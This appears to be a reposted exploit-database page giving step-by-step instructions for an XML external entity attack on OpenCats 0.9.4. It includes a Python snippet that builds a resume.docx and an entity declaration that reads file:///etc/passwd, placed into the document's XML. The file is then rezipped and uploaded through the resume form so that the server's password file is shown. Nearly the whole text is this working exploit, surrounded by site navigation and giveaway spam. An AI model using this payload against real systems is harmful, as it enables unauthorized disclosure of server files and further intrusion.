OpenCats 0.9.4 XML Injection (/khalil.shtml/it-highlights/latest-vulnerabilities-and-exploits/38376-Op

👁 Hits

v

O
e

#F
#V
#D
#L

<=

#Platform : OpenCats
#Version : 0.9.4
#Date : 20/09/2021
#LinkedIn : https://linkedin.com/in/raed-ahsan

<===>

INSTRUCTIONS FOR EXPLOITING THE OPENCATS 0.9.4

<===>

1) Create a file called "cv.py"
2) Paste the following into the cv.py file:

```
from docx import Document
document = Document()
paragraph = document.add_paragraph("YOUR NAME")
document.save("resume.docx")
```

3) Run the cv.py
4) a resume.docx file has been created.
5) unzip the resume.docx
6) cd (change directory) to word/
7) use your editor and open document.xml
8) After the first line where <?xml starts, embed the following:

```
<!DOCTYPE test [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
```

9) Find where your name is written in the document.xml. The code will look something like this:

```
<w:body><w:p><w:r><w:t>YOUR_NAME</w:t></w:r
```

10) remove your name and write "&test;". It will look like this:

```
<w:body><w:p><w:r><w:t>&test;</w:t></w:r
```

11) Save the file and exit.
12) Go out of the word/ directory.
13) zip your resume.docx with document.xml using this command:

```
zip resume.docx word/document.xml
```

14) If correctly zipped, it will respond with (deflated 65%) or 64%
15) upload the resume.docx onto the resume upload section of opencats.
16) the contents of /etc/passwd will be presented to you in the input field.

PREV (/KHALIL.SHTML/IT-HIGHLIGHTS/LATEST-VULNERABILITIES-AND-EXPLOITS/38375-BACKDOOR.WIN32.MINILASH.10.B-DENIAL-OF-SERVICE.HTML)

NEXT (/KHALIL.SHTML/IT-HIGHLIGHTS/LATEST-VULNERABILITIES-AND-EXPLOITS/38374-CHURCH-MANAGEMENT-SYSTEM-1.0-SQL-INJECTION---CODE-EXECUTION.HTML)

Share your comment publicly

Media Applications .. CLICK HERE

applications)

eaway, Instagram Giveaway, Facebook Giveaway, Youtube and Facebook Free apps and more...CLICK HERE